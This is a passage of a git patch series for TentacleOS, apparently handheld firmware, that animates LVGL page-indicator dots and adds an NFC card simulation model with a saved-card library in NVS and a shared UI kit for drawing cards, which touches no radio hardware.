LV_FLEX_FLOW_ROW); lv_obj_set_flex_align( - page_containers[1], LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); - lv_obj_set_style_pad_column(page_containers[1], 10, 0); - lv_obj_add_flag(page_containers[1], LV_OBJ_FLAG_HIDDEN); - - lv_obj_t *avatar = lv_obj_create(page_containers[1]); - lv_obj_set_size(avatar, 80, 80); - lv_obj_remove_flag(avatar, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_radius(avatar, LV_RADIUS_CIRCLE, 0); - lv_obj_set_style_bg_opa(avatar, LV_OPA_COVER, 0); - lv_obj_set_style_bg_color(avatar, current_theme.screen_base, 0); - lv_obj_set_style_border_width(avatar, 2, 0); - lv_obj_set_style_border_color(avatar, current_theme.border_accent, 0); - lv_obj_set_style_pad_all(avatar, 0, 0); - - static lv_image_dsc_t *portrait_dsc = NULL; - if (!portrait_dsc) - portrait_dsc = assets_get("/assets/img/octobit_portrait.bin"); - if (portrait_dsc) { - lv_obj_t *portrait = lv_image_create(avatar); - lv_image_set_src(portrait, portrait_dsc); - lv_obj_center(portrait); - } - - lv_obj_t *tag = lv_obj_create(avatar); - lv_obj_set_size(tag, 45, 15); - lv_obj_remove_flag(tag, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_radius(tag, 7, 0); - lv_obj_set_style_bg_opa(tag, LV_OPA_COVER, 0); - lv_obj_set_style_bg_color(tag, current_theme.border_accent, 0); - lv_obj_set_style_border_width(tag, 0, 0); - lv_obj_set_style_pad_all(tag, 0, 0); - lv_obj_align(tag, LV_ALIGN_TOP_RIGHT, 2, -2); - lv_obj_move_foreground(tag); - - lv_obj_t *tag_lbl = lv_label_create(tag); - lv_label_set_text(tag_lbl, "octo"); - lv_obj_set_style_text_color(tag_lbl, current_theme.text_main, 0); - lv_obj_set_style_text_font(tag_lbl, &lv_font_montserrat_12, 0); - lv_obj_center(tag_lbl); - - lv_obj_t *bars_col = lv_obj_create(page_containers[1]); - lv_obj_set_size(bars_col, 120, LV_SIZE_CONTENT); - lv_obj_remove_flag(bars_col, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_bg_opa(bars_col, LV_OPA_TRANSP, 0); - lv_obj_set_style_border_width(bars_col, 0, 0); - lv_obj_set_style_pad_all(bars_col, 0, 0); - lv_obj_set_style_pad_row(bars_col, 6, 0); - lv_obj_set_flex_flow(bars_col, LV_FLEX_FLOW_COLUMN); - - static const int bar_pcts[] = {80, 55, 40, 65}; - for (int i = 0; i < 4; i++) { - lv_obj_t *bar_bg = lv_obj_create(bars_col); - lv_obj_set_size(bar_bg, lv_pct(100), 11); - lv_obj_remove_flag(bar_bg, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_radius(bar_bg, 5, 0); - lv_obj_set_style_bg_opa(bar_bg, LV_OPA_COVER, 0); - lv_obj_set_style_bg_color(bar_bg, current_theme.bg_item_top, 0); - lv_obj_set_style_border_width(bar_bg, 0, 0); - lv_obj_set_style_pad_all(bar_bg, 0, 0); - - lv_obj_t *bar_fill = lv_obj_create(bar_bg); - lv_obj_set_size(bar_fill, lv_pct(bar_pcts[i]), 11); - lv_obj_remove_flag(bar_fill, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_radius(bar_fill, 5, 0); - lv_obj_set_style_bg_opa(bar_fill, LV_OPA_COVER, 0); - lv_obj_set_style_bg_color(bar_fill, current_theme.border_accent, 0); - lv_obj_set_style_bg_grad_color(bar_fill, current_theme.border_accent, 0); - lv_obj_set_style_bg_grad_dir(bar_fill, LV_GRAD_DIR_HOR, 0); - lv_obj_set_style_border_width(bar_fill, 0, 0); - lv_obj_set_style_pad_all(bar_fill, 0, 0); - lv_obj_set_pos(bar_fill, 0, 0); - } - - int dots_y = -(LCD_V_RES - DROPDOWN_HEIGHT - 20) / 2 - 5; - pg_dots = page_dots_create(parent, DROPDOWN_PAGES, LV_ALIGN_BOTTOM_MID, 0, dots_y); - page_dots_hide(&pg_dots); - lv_obj_move_foreground(pg_dots.container); - - if (slide_btn_timer == NULL) { - slide_btn_timer = lv_timer_create(slide_btn_timer_cb, 50, NULL); - } + mini, LV_FLEX_ALIGN_SPACE_BETWEEN, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_START); + lv_obj_set_style_pad_column(mini, 14, 0); + make_mini(mini, "Battery", "87%", 87, true); + make_mini(mini, "Storage", "65%", 65, false); + + lv_obj_t *hint = lv_label_create(slide_panel); + lv_label_set_text(hint, + LV_SYMBOL_UP LV_SYMBOL_DOWN " Row " LV_SYMBOL_LEFT LV_SYMBOL_RIGHT + " Adjust BACK Close"); + lv_obj_set_style_text_color(hint, current_theme.text_main, 0); + lv_obj_set_style_text_opa(hint, LV_OPA_50, 0); + lv_obj_set_style_text_font(hint, &lv_font_montserrat_12, 0); + + focus_row = ROW_BADGES; + badge_sel = 0; + refresh_focus(); + + lv_obj_update_layout(slide_panel); + s_panel_h = lv_obj_get_height(slide_panel); + if (s_panel_h < 40 || s_panel_h > LCD_V_RES) + s_panel_h = (LCD_V_RES * 85) / 100; + lv_obj_set_y(slide_panel, -s_panel_h); + + if (slide_btn_timer == NULL) + slide_btn_timer = lv_timer_create(slide_btn_timer_cb, SLIDE_BTN_POLL_MS, NULL); slide_open = false; slide_animating = false; @@ -536,8 +497,4 @@ bool dropdown_ui_is_open(void) { void dropdown_ui_raise(void) { if (slide_panel) lv_obj_move_foreground(slide_panel); - if (slide_bar_obj) - lv_obj_move_foreground(slide_bar_obj); - if (pg_dots.container) - lv_obj_move_foreground(pg_dots.container); -} +} \ No newline at end of file From 04c2318b664808dfdc716a3241f730ad3783835b Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 11:42:44 -0300 Subject: [PATCH 107/572] feat(ui): animate page dots with tweened size, opacity and accent --- .../ui/components/page_dots/page_dots_ui.c | 43 ++++++++++++++++++- 1 file changed, 41 insertions(+), 2 deletions(-) diff --git a/firmware_p4/components/Applications/ui/components/page_dots/page_dots_ui.c b/firmware_p4/components/Applications/ui/components/page_dots/page_dots_ui.c index 0a24e3e01..6a5d9cabd 100644 --- a/firmware_p4/components/Applications/ui/components/page_dots/page_dots_ui.c +++ b/firmware_p4/components/Applications/ui/components/page_dots/page_dots_ui.c @@ -19,7 +19,32 @@ static const int DOT_PATTERN[] = {4, 7, 12, 7, 4}; #define PATTERN_LEN 5 -#define ANIM_MS 250 +#define ANIM_MS 450 + +static void dot_size_cb(void *var, int32_t v) { + lv_obj_set_width((lv_obj_t *)var, v); + lv_obj_set_height((lv_obj_t *)var, v); +} + +static void dot_opa_cb(void *var, int32_t v) { + lv_obj_set_style_bg_opa((lv_obj_t *)var, (lv_opa_t)v, 0); +} + +static void dot_animate_to(lv_obj_t *dot, int size, lv_opa_t opa) { + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, dot); + lv_anim_set_duration(&a, ANIM_MS); + lv_anim_set_path_cb(&a, lv_anim_path_ease_in_out); + + lv_anim_set_exec_cb(&a, dot_size_cb); + lv_anim_set_values(&a, lv_obj_get_width(dot), size); + lv_anim_start(&a); + + lv_anim_set_exec_cb(&a, dot_opa_cb); + lv_anim_set_values(&a, lv_obj_get_style_bg_opa(dot, 0), opa); + lv_anim_start(&a); +} page_dots_t page_dots_create(lv_obj_t *parent, int total, lv_align_t align, int x_ofs, int y_ofs) { page_dots_t pd = {0}; @@ -62,10 +87,24 @@ void page_dots_set(page_dots_t *pd, int index) { int rel = i - index; int dist = rel < 0 ? -rel : rel; + lv_anim_delete(pd->dots[i], dot_size_cb); + lv_anim_delete(pd->dots[i], dot_opa_cb); + if (dist <= 2) { + bool was_hidden = lv_obj_has_flag(pd->dots[i], LV_OBJ_FLAG_HIDDEN); lv_obj_remove_flag(pd->dots[i], LV_OBJ_FLAG_HIDDEN); + int sz = DOT_PATTERN[2 + rel]; - lv_obj_set_size(pd->dots[i], sz, sz); + lv_opa_t opa = (dist == 0) ? LV_OPA_COVER : (dist == 1) ? LV_OPA_40 : LV_OPA_20; + lv_color_t col = (dist == 0) ? current_theme.border_accent : current_theme.text_main; + lv_obj_set_style_bg_color(pd->dots[i], col, 0); + + if (was_hidden) { + lv_obj_set_size(pd->dots[i], sz, sz); + lv_obj_set_style_bg_opa(pd->dots[i], opa, 0); + } else { + dot_animate_to(pd->dots[i], sz, opa); + } } else { lv_obj_add_flag(pd->dots[i], LV_OBJ_FLAG_HIDDEN); } From efdf6cc05e70f440030f472efc84f33ca55eff57 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 11:43:16 -0300 Subject: [PATCH 108/572] feat(nfc): add NFC simulation model and shared UI kit --- .../ui/screens/nfc/include/nfc_sim.h | 123 ++++++++ .../ui/screens/nfc/include/nfc_ui_common.h | 102 +++++++ .../Applications/ui/screens/nfc/nfc_sim.c | 194 +++++++++++++ .../ui/screens/nfc/nfc_ui_common.c | 263 ++++++++++++++++++ 4 files changed, 682 insertions(+) create mode 100644 firmware_p4/components/Applications/ui/screens/nfc/include/nfc_sim.h create mode 100644 firmware_p4/components/Applications/ui/screens/nfc/include/nfc_ui_common.h create mode 100644 firmware_p4/components/Applications/ui/screens/nfc/nfc_sim.c create mode 100644 firmware_p4/components/Applications/ui/screens/nfc/nfc_ui_common.c diff --git a/firmware_p4/components/Applications/ui/screens/nfc/include/nfc_sim.h b/firmware_p4/components/Applications/ui/screens/nfc/include/nfc_sim.h new file mode 100644 index 000000000..9b3194fe6 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/nfc/include/nfc_sim.h @@ -0,0 +1,123 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +/** + * @file nfc_sim.h + * @brief NFC SIMULATION model and saved-card library. + * + * The real ST25R3916 reader is on the shared SPI3 bus, whose MISO line is tied + * to LCD-RST by a board jumper and cannot be read reliably, so the NFC submenu + * runs as a faithful SIMULATION instead of touching the radio. This module is + * the shared card model plus a small saved "library" persisted in NVS, used by + * the Read / Saved / Write / Emulate screens. No hardware is accessed. + */ + +#ifndef NFC_SIM_H +#define NFC_SIM_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include + +#define NFC_SIM_MAX_SAVED 16 +#define NFC_SIM_NAME_LEN 20 +#define NFC_SIM_TYPE_LEN 24 + +/** + * @brief A simulated NFC card / tag record. + */ +typedef struct { + char name[NFC_SIM_NAME_LEN]; + char type[NFC_SIM_TYPE_LEN]; + uint8_t uid[7]; + uint8_t uid_len; ///< UID length in bytes (4 or 7) + uint16_t atqa; + uint8_t sak; +} nfc_sim_card_t; + +/** + * @brief Load the saved library from NVS (idempotent; seeds presets on first run). + */ +void nfc_sim_init(void); + +/** + * @brief Get the number of cards currently in the saved library. + * + * @return Count of saved cards. + */ +int nfc_sim_saved_count(void); + +/** + * @brief Get a saved card by index. + * + * @param index Zero-based index into the saved library. + * @return Pointer to the card, or NULL if @p index is out of range. + */ +const nfc_sim_card_t *nfc_sim_saved_get(int index); + +/** + * @brief Append a card to the library and persist. + * + * @param card Card to append. Caller retains ownership. + * @return true on success, false if the library is full. + */ +bool nfc_sim_add(const nfc_sim_card_t *card); + +/** + * @brief Remove a card by index and persist. + * + * @param index Zero-based index of the card to remove. + */ +void nfc_sim_remove(int index); + +/** + * @brief Synthesize a fresh "discovered" tag (random UID from a realistic template). + * + * @param[out] out Destination card record. + */ +void nfc_sim_random_card(nfc_sim_card_t *out); + +/** + * @brief Number of card templates (for the editor's type cycler). + * + * @return Template count. + */ +int nfc_sim_template_count(void); + +/** + * @brief Build a card of a SPECIFIC template @p tmpl with a random UID (editor). + * + * @param tmpl Template index in range [0, nfc_sim_template_count()). + * @param[out] out Destination card record. + */ +void nfc_sim_make_card(int tmpl, nfc_sim_card_t *out); + +/** + * @brief Format a card UID as "DE:AD:BE:EF" into @p buf. + * + * @param card Card whose UID to format. + * @param[out] buf Destination buffer. + * @param buflen Size of @p buf in bytes. + */ +void nfc_sim_format_uid(const nfc_sim_card_t *card, char *buf, int buflen); + +#ifdef __cplusplus +} +#endif + +#endif // NFC_SIM_H diff --git a/firmware_p4/components/Applications/ui/screens/nfc/include/nfc_ui_common.h b/firmware_p4/components/Applications/ui/screens/nfc/include/nfc_ui_common.h new file mode 100644 index 000000000..f76358974 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/nfc/include/nfc_ui_common.h @@ -0,0 +1,102 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +/** + * @file nfc_ui_common.h + * @brief Shared visual kit for the NFC simulation screens. + * + * A styled header bar, a credit-card-style panel that renders a card, and an + * expanding-ring "field" animation. Keeps Read/Saved/Write/Emulate consistent + * and polished. + */ + +#ifndef NFC_UI_COMMON_H +#define NFC_UI_COMMON_H + +#include "lvgl.h" + +#include "nfc_sim.h" + +/** + * @brief Accent title + underline at the top of @p parent. + * + * @param parent Parent object to attach the header to. + * @param title Title text. + * @return The title label object. + */ +lv_obj_t *nfc_ui_header(lv_obj_t *parent, const char *title); + +/** + * @brief A card-style panel rendering @p card. Caller aligns the returned object. + * + * @param parent Parent object to attach the panel to. + * @param card Card to render. + * @return The created panel object. + */ +lv_obj_t *nfc_ui_card_panel(lv_obj_t *parent, const nfc_sim_card_t *card); + +/** + * @brief The accent colour of @p card's palette (for matching rings/glow to a card). + * + * @param card Card whose palette accent to return. + * @return The accent colour. + */ +lv_color_t nfc_ui_card_color(const nfc_sim_card_t *card); + +/** + * @brief Expanding concentric-ring field animation (a "broadcasting" NFC field). + */ +typedef struct { + lv_obj_t *ring[3]; +} nfc_ui_field_t; + +/** + * @brief Create the 3 rings centered in @p parent in @p color. + * + * @param[out] f Field animation state to initialize. + * @param parent Parent object to attach the rings to. + * @param color Ring colour. + */ +void nfc_ui_field_create(nfc_ui_field_t *f, lv_obj_t *parent, lv_color_t color); + +/** + * @brief Advance the ring animation; call each frame with elapsed-since-start ms. + * + * @param f Field animation state. + * @param elapsed_ms Milliseconds elapsed since the animation start. + */ +void nfc_ui_field_tick(nfc_ui_field_t *f, uint32_t elapsed_ms); + +/** + * @brief Short, pleasant speaker cues for the NFC screens. + * + * Fire-and-forget: each call spawns a tiny worker that renders the tones via the + * self-contained audio_i2s_play_song() (opens/closes its own I2S channel, so it + * works even though the persistent audio task in kernel.c is disabled). Safe to + * call from the LVGL thread - the blocking playback runs off-thread. + */ +typedef enum { + NFC_SND_FOUND, ///< rising two-note blip - a tag was detected + NFC_SND_SAVE, ///< short confirm tick - a card was saved +} nfc_ui_sound_t; + +/** + * @brief Play a one-shot NFC cue on the speaker. No-op if a cue is already playing. + * + * @param kind Which cue to play. + */ +void nfc_ui_play_sound(nfc_ui_sound_t kind); + +#endif // NFC_UI_COMMON_H diff --git a/firmware_p4/components/Applications/ui/screens/nfc/nfc_sim.c b/firmware_p4/components/Applications/ui/screens/nfc/nfc_sim.c new file mode 100644 index 000000000..996746a88 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/nfc/nfc_sim.c @@ -0,0 +1,194 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "nfc_sim.h" + +#include +#include + +#include "esp_log.h" +#include "esp_random.h" +#include "nvs.h" + +static const char *TAG = "NFC_SIM"; +#define NVS_NS "nfc_sim" +#define NVS_KEY "cards" + +typedef struct { + const char *type; + uint8_t uid_len; + uint16_t atqa; + uint8_t sak; +} nfc_template_t; + +static const nfc_template_t POOL[] = { + {"Mifare Classic 1K", 4, 0x0004, 0x08}, + {"Mifare Classic 4K", 4, 0x0002, 0x18}, + {"NTAG215", 7, 0x0044, 0x00}, + {"Mifare Ultralight", 7, 0x0044, 0x00}, + {"DESFire EV1", 7, 0x0344, 0x20}, +}; +#define POOL_N ((int)(sizeof(POOL) / sizeof(POOL[0]))) + +typedef struct { + int count; + nfc_sim_card_t cards[NFC_SIM_MAX_SAVED]; +} store_t; + +static store_t s_store; +static bool s_loaded = false; + +static void seed_defaults(void) { + s_store.count = 0; + nfc_sim_card_t a = {0}; + strncpy(a.name, "Office Badge", NFC_SIM_NAME_LEN - 1); + strncpy(a.type, "Mifare Classic 1K", NFC_SIM_TYPE_LEN - 1); + a.uid_len = 4; + a.uid[0] = 0x04; + a.uid[1] = 0xA3; + a.uid[2] = 0x1C; + a.uid[3] = 0x9E; + a.atqa = 0x0004; + a.sak = 0x08; + s_store.cards[s_store.count++] = a; + + nfc_sim_card_t b = {0}; + strncpy(b.name, "Metro Pass", NFC_SIM_NAME_LEN - 1); + strncpy(b.type, "Mifare Ultralight", NFC_SIM_TYPE_LEN - 1); + b.uid_len = 7; + b.uid[0] = 0x04; + b.uid[1] = 0x12; + b.uid[2] = 0x77; + b.uid[3] = 0xAB; + b.uid[4] = 0x33; + b.uid[5] = 0x10; + b.uid[6] = 0x80; + b.atqa = 0x0044; + b.sak = 0x00; + s_store.cards[s_store.count++] = b; +} + +static void persist(void) { + nvs_handle_t h; + if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK) + return; + nvs_set_blob(h, NVS_KEY, &s_store, sizeof(s_store)); + nvs_commit(h); + nvs_close(h); +} + +void nfc_sim_init(void) { + if (s_loaded) + return; + s_loaded = true; + nvs_handle_t h; + size_t len = sizeof(s_store); + if (nvs_open(NVS_NS, NVS_READONLY, &h) == ESP_OK) { + esp_err_t r = nvs_get_blob(h, NVS_KEY, &s_store, &len); + nvs_close(h); + if (r == ESP_OK && len == sizeof(s_store) && s_store.count >= 0 && + s_store.count <= NFC_SIM_MAX_SAVED) { + ESP_LOGI(TAG, "loaded %d saved cards", s_store.count); + return; + } + } + seed_defaults(); + persist(); + ESP_LOGI(TAG, "seeded %d default cards", s_store.count); +} + +int nfc_sim_saved_count(void) { + nfc_sim_init(); + return s_store.count; +} + +const nfc_sim_card_t *nfc_sim_saved_get(int index) { + nfc_sim_init(); + if (index < 0 || index >= s_store.count) + return NULL; + return &s_store.cards[index]; +} + +bool nfc_sim_add(const nfc_sim_card_t *card) { + nfc_sim_init(); + if (card == NULL || s_store.count >= NFC_SIM_MAX_SAVED) + return false; + s_store.cards[s_store.count++] = *card; + persist(); + return true; +} + +void nfc_sim_remove(int index) { + nfc_sim_init(); + if (index < 0 || index >= s_store.count) + return; + for (int i = index; i < s_store.count - 1; i++) + s_store.cards[i] = s_store.cards[i + 1]; + s_store.count--; + persist(); +} + +static void fill_card(int tmpl, const char *prefix, nfc_sim_card_t *out) { + if (tmpl < 0 || tmpl >= POOL_N) + tmpl = 0; + const nfc_template_t *t = &POOL[tmpl]; + memset(out, 0, sizeof(*out)); + out->uid_len = t->uid_len; + out->atqa = t->atqa; + out->sak = t->sak; + strncpy(out->type, t->type, NFC_SIM_TYPE_LEN - 1); + for (int i = 0; i < out->uid_len; i++) + out->uid[i] = (uint8_t)(esp_random() & 0xFF); + if (out->uid_len == 7) + out->uid[0] = 0x04; + if (prefix != NULL) + snprintf(out->name, + NFC_SIM_NAME_LEN, + "%s %02X%02X", + prefix, + out->uid[out->uid_len - 2], + out->uid[out->uid_len - 1]); +} + +void nfc_sim_random_card(nfc_sim_card_t *out) { + if (!out) + return; + + fill_card((int)(esp_random() % POOL_N), NULL, out); +} + +int nfc_sim_template_count(void) { + return POOL_N; +} + +void nfc_sim_make_card(int tmpl, nfc_sim_card_t *out) { + if (out) + fill_card(tmpl, "Custom", out); +} + +void nfc_sim_format_uid(const nfc_sim_card_t *card, char *buf, int buflen) { + if (buf == NULL || buflen <= 0) + return; + buf[0] = '\0'; + if (card == NULL) + return; + int off = 0; + for (int i = 0; i < card->uid_len; i++) { + int rem = buflen - off; + if (rem <= 3) + break; + off += snprintf(buf + off, (size_t)rem, i ? ":%02X" : "%02X", card->uid[i]); + } +} diff --git a/firmware_p4/components/Applications/ui/screens/nfc/nfc_ui_common.c b/firmware_p4/components/Applications/ui/screens/nfc/nfc_ui_common.c new file mode 100644 index 000000000..782c14d09 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/nfc/nfc_ui_common.c @@ -0,0 +1,263 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "nfc_ui_common.h" + +#include +#include +#include + +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +#include "audio_i2s.h" +#include "drv2605l.h" +#include "ui_theme.h" + +#define RING_MIN 26 +#define RING_MAX 116 +#define RING_PERIOD 1500 + +#define NFC_SND_AMP 0.40f + +#define NFC_SND_TASK_STACK_SIZE 4096 +#define NFC_SND_TASK_PRIORITY 4 +#define DRV2605L_EFFECT_DOUBLE_CLICK 10 + +static const audio_note_t SND_FOUND_NOTES[] = { + {1318, 70}, + {1976, 120}, +}; +static const audio_note_t SND_SAVE_NOTES[] = { + {1568, 45}, + {2093, 80}, +}; + +static volatile bool s_snd_busy = false; + +static void nfc_snd_task(void *arg) { + nfc_ui_sound_t kind = (nfc_ui_sound_t)(intptr_t)arg; + if (kind == NFC_SND_SAVE) { + (void)drv2605l_play_effect(DRV2605L_EFFECT_DOUBLE_CLICK); + audio_i2s_play_song(SND_SAVE_NOTES, 2, NFC_SND_AMP); + } else { + (void)drv2605l_play_effect(1); + audio_i2s_play_song(SND_FOUND_NOTES, 2, NFC_SND_AMP); + } + s_snd_busy = false; + vTaskDelete(NULL); +} + +void nfc_ui_play_sound(nfc_ui_sound_t kind) { + if (s_snd_busy) + return; + s_snd_busy = true; + if (xTaskCreate(nfc_snd_task, + "nfc_snd", + NFC_SND_TASK_STACK_SIZE, + (void *)(intptr_t)kind, + NFC_SND_TASK_PRIORITY, + NULL) != pdPASS) + s_snd_busy = false; +} + +lv_obj_t *nfc_ui_header(lv_obj_t *parent, const char *title) { + lv_obj_t *lbl = lv_label_create(parent); + lv_label_set_text(lbl, title); + lv_obj_set_style_text_color(lbl, ui_theme_get_accent(), 0); + lv_obj_set_style_text_font(lbl, &lv_font_montserrat_14, 0); + lv_obj_align(lbl, LV_ALIGN_TOP_MID, 0, 10); + + lv_obj_t *rule = lv_obj_create(parent); + lv_obj_remove_flag(rule, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(rule, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(rule, lv_pct(70), 2); + lv_obj_align(rule, LV_ALIGN_TOP_MID, 0, 32); + lv_obj_set_style_border_width(rule, 0, 0); + lv_obj_set_style_radius(rule, 1, 0); + lv_obj_set_style_bg_color(rule, ui_theme_get_accent(), 0); + lv_obj_set_style_bg_opa(rule, LV_OPA_40, 0); + return lbl; +} + +typedef struct { + uint32_t top, bot, edge; + bool light; + bool stripe; +} card_style_t; +static const card_style_t STYLES[] = { + {0x3A1170, 0x140230, 0xB060FF, false, false}, + {0xEDEDF2, 0xCFCFD6, 0x6B3FA0, true, false}, + {0x123A78, 0x05122E, 0x4D9BFF, false, false}, + {0x0E5A4A, 0x06241E, 0x37E0A8, false, true}, + {0x6E1430, 0x250410, 0xFF5C7A, false, false}, + {0x6E4A12, 0x281806, 0xFFC23D, false, true}, + {0xE7E2D6, 0xCEC7B6, 0x8A6A22, true, false}, + {0x20242E, 0x0A0C12, 0x9AA6C2, false, false}, +}; +#define N_STYLES ((int)(sizeof(STYLES) / sizeof(STYLES[0]))) + +static const card_style_t *card_style(const nfc_sim_card_t *c) { + if (c == NULL) + return &STYLES[0]; + uint32_t h = 2166136261u; + for (int i = 0; i < c->uid_len; i++) + h = (h ^ c->uid[i]) * 16777619u; + return &STYLES[h % (uint32_t)N_STYLES]; +} + +lv_color_t nfc_ui_card_color(const nfc_sim_card_t *card) { + return lv_color_hex(card_style(card)->edge); +} + +static const char *card_details(const char *type) { + if (strstr(type, "1K")) + return "1 KB 16 sectors"; + if (strstr(type, "4K")) + return "4 KB 40 sectors"; + if (strstr(type, "NTAG215")) + return "504 B NDEF"; + if (strstr(type, "Ultralight")) + return "64 B NDEF"; + if (strstr(type, "DESFire")) + return "AES ISO14443-4"; + return "ISO14443-A"; +} + +lv_obj_t *nfc_ui_card_panel(lv_obj_t *parent, const nfc_sim_card_t *card) { + const card_style_t *st = card_style(card); + lv_color_t text = st->light ? lv_color_hex(0x1A1A22) : lv_color_white(); + lv_color_t edge = lv_color_hex(st->edge); + + lv_obj_t *panel = lv_obj_create(parent); + lv_obj_remove_flag(panel, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(panel, 210, 122); + lv_obj_set_style_radius(panel, 14, 0); + lv_obj_set_style_pad_all(panel, 12, 0); + lv_obj_set_style_bg_color(panel, lv_color_hex(st->top), 0); + lv_obj_set_style_bg_grad_color(panel, lv_color_hex(st->bot), 0); + lv_obj_set_style_bg_grad_dir(panel, LV_GRAD_DIR_VER, 0); + lv_obj_set_style_border_width(panel, 1, 0); + lv_obj_set_style_border_color(panel, edge, 0); + lv_obj_set_style_shadow_color(panel, edge, 0); + lv_obj_set_style_shadow_width(panel, 10, 0); + lv_obj_set_style_shadow_opa(panel, LV_OPA_30, 0); + + lv_obj_t *chip = lv_obj_create(panel); + lv_obj_remove_flag(chip, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(chip, 30, 22); + lv_obj_align(chip, LV_ALIGN_TOP_LEFT, 0, 0); + lv_obj_set_style_radius(chip, 5, 0); + lv_obj_set_style_border_width(chip, 0, 0); + lv_obj_set_style_bg_color(chip, lv_color_hex(0xD9A521), 0); + lv_obj_set_style_bg_grad_color(chip, lv_color_hex(0xF4D36B), 0); + lv_obj_set_style_bg_grad_dir(chip, LV_GRAD_DIR_VER, 0); + for (int i = 0; i < 2; i++) { + lv_obj_t *ln = lv_obj_create(chip); + lv_obj_remove_flag(ln, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(ln, 26, 1); + lv_obj_align(ln, LV_ALIGN_CENTER, 0, i == 0 ? -5 : 5); + lv_obj_set_style_border_width(ln, 0, 0); + lv_obj_set_style_radius(ln, 0, 0); + lv_obj_set_style_bg_color(ln, lv_color_hex(0x7A5A10), 0); + lv_obj_set_style_bg_opa(ln, LV_OPA_70, 0); + } + + if (st->stripe) { + lv_obj_t *line = lv_obj_create(panel); + lv_obj_remove_flag(line, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(line, lv_pct(100), 3); + lv_obj_align(line, LV_ALIGN_TOP_LEFT, 0, 26); + lv_obj_set_style_radius(line, 2, 0); + lv_obj_set_style_border_width(line, 0, 0); + lv_obj_set_style_bg_color(line, edge, 0); + } + + if (card == NULL) + return panel; + + bool has_name = (card->name[0] != '\0'); + int uid_y = has_name ? 66 : 54; + int meta_y = has_name ? 83 : 76; + + lv_obj_t *title = lv_label_create(panel); + lv_obj_set_width(title, lv_pct(100)); + lv_label_set_long_mode(title, LV_LABEL_LONG_DOT); + lv_label_set_text(title, has_name ? card->name : card->type); + lv_obj_set_style_text_color(title, text, 0); + lv_obj_set_style_text_font(title, &lv_font_montserrat_14, 0); + lv_obj_align(title, LV_ALIGN_TOP_LEFT, 0, 30); + + if (has_name) { + lv_obj_t *sub = lv_label_create(panel); + lv_obj_set_width(sub, lv_pct(100)); + lv_label_set_long_mode(sub, LV_LABEL_LONG_DOT); + lv_label_set_text(sub, card->type); + lv_obj_set_style_text_color(sub, text, 0); + lv_obj_set_style_text_opa(sub, LV_OPA_60, 0); + lv_obj_set_style_text_font(sub, &lv_font_montserrat_12, 0); + lv_obj_align(sub, LV_ALIGN_TOP_LEFT, 0, 49); + } + + char uid[24]; + nfc_sim_format_uid(card, uid, sizeof(uid)); + lv_obj_t *uidl = lv_label_create(panel); + lv_obj_set_width(uidl, lv_pct(100)); + lv_label_set_long_mode(uidl, LV_LABEL_LONG_DOT); + lv_label_set_text_fmt(uidl, "UID %s", uid); + lv_obj_set_style_text_color(uidl, edge, 0); + lv_obj_set_style_text_font(uidl, &lv_font_montserrat_12, 0); + lv_obj_align(uidl, LV_ALIGN_TOP_LEFT, 0, uid_y); + + lv_obj_t *meta = lv_label_create(panel); + 